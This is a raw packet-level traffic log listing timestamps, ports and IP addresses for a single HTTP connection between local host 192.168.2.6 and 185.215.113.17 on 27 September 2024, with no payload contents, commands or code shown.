Sep 27, 2024 16:18:30.501233101 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501252890 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501622915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501640081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501663923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501672029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501681089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501693964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501698971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501720905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501720905 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501748085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501763105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501765013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501780033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501807928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501808882 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501846075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502000093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502016068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502032995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502039909 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502058983 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502062082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502078056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502093077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502094984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502094984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502114058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502116919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502136946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502140999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502159119 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502165079 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502182007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502197027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502203941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502203941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502221107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502238989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502238989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502248049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502263069 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502279043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502285957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502285957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502295971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.502310038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502324104 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.502341986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503087997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503103971 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503119946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503144979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503150940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503151894 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503161907 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503165960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503180981 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503197908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503202915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503202915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503215075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503233910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503233910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503268957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503669977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503686905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503703117 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503729105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503730059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503730059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503745079 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503750086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503767014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503778934 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503782988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503793955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503798962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503822088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503822088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503834963 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503835917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503853083 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503870964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503875017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503891945 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503907919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503910065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503910065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503922939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.503941059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503941059 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503971100 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.503989935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504012108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504028082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504041910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504041910 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504041910 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504061937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504070997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504080057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504090071 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504108906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504122019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504122972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504122972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504138947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504143953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504157066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504173040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504173994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504173994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504189968 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504205942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504209042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504209042 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504223108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504240036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504242897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504242897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504268885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504272938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504272938 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504287004 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504302979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504311085 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504340887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504340887 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504379034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504404068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504429102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504441977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504441977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504446983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504466057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504479885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504484892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504484892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504497051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504508018 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504520893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504538059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504554987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504558086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504575014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504590988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504591942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504591942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504606962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504630089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504630089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504633904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504648924 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504694939 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504852057 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504867077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504884005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504900932 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504926920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504926920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504926920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504945993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504961014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504976988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.504985094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504985094 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.504992008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505002975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505040884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505042076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505058050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505074024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505074978 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505085945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505091906 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505108118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505116940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505116940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505135059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505151033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505151033 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505153894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.505191088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.505191088 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544559002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544615984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544652939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544656038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544656038 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544688940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544692993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544744015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544754028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544789076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544820070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544840097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544842005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544877052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544899940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544934988 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544936895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.544969082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.544995070 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545002937 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545016050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545038939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545059919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545073032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545106888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545109034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545109034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545141935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545156956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545176983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545207024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545211077 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545243979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545248032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545248032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545279980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545305967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545314074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545351982 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.545394897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545408010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.545408964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.587827921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.587887049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.587944031 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.587969065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.587969065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.587980986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588022947 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588057995 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588093042 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588139057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588139057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588139057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588139057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588139057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588424921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588481903 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588509083 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588512897 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588534117 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588563919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588582039 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588597059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588633060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588644028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588644028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588669062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588706017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588706017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588707924 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588737965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.588779926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.588779926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589098930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589128017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589148045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589184046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589196920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589238882 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589257002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589291096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589301109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589325905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589340925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589360952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589395046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589406013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589406013 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589428902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589473963 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589473963 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589479923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589512110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589529037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589545965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589555979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589579105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589597940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589612007 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589646101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589653015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589653015 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589682102 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.589721918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.589721918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590028048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590080023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590086937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590131044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590131998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590168953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590203047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590204000 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590224028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590239048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590257883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590275049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590297937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590310097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590334892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590435028 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590516090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590554953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590568066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590605021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590609074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590661049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590694904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590703964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590703964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590728998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590760946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590764046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590795040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590812922 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590814114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590846062 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590847015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590900898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590935946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590950012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.590955019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.590990067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591027975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.591047049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.591082096 CEST	80	49613	185.215.113.17	192.168.2.6
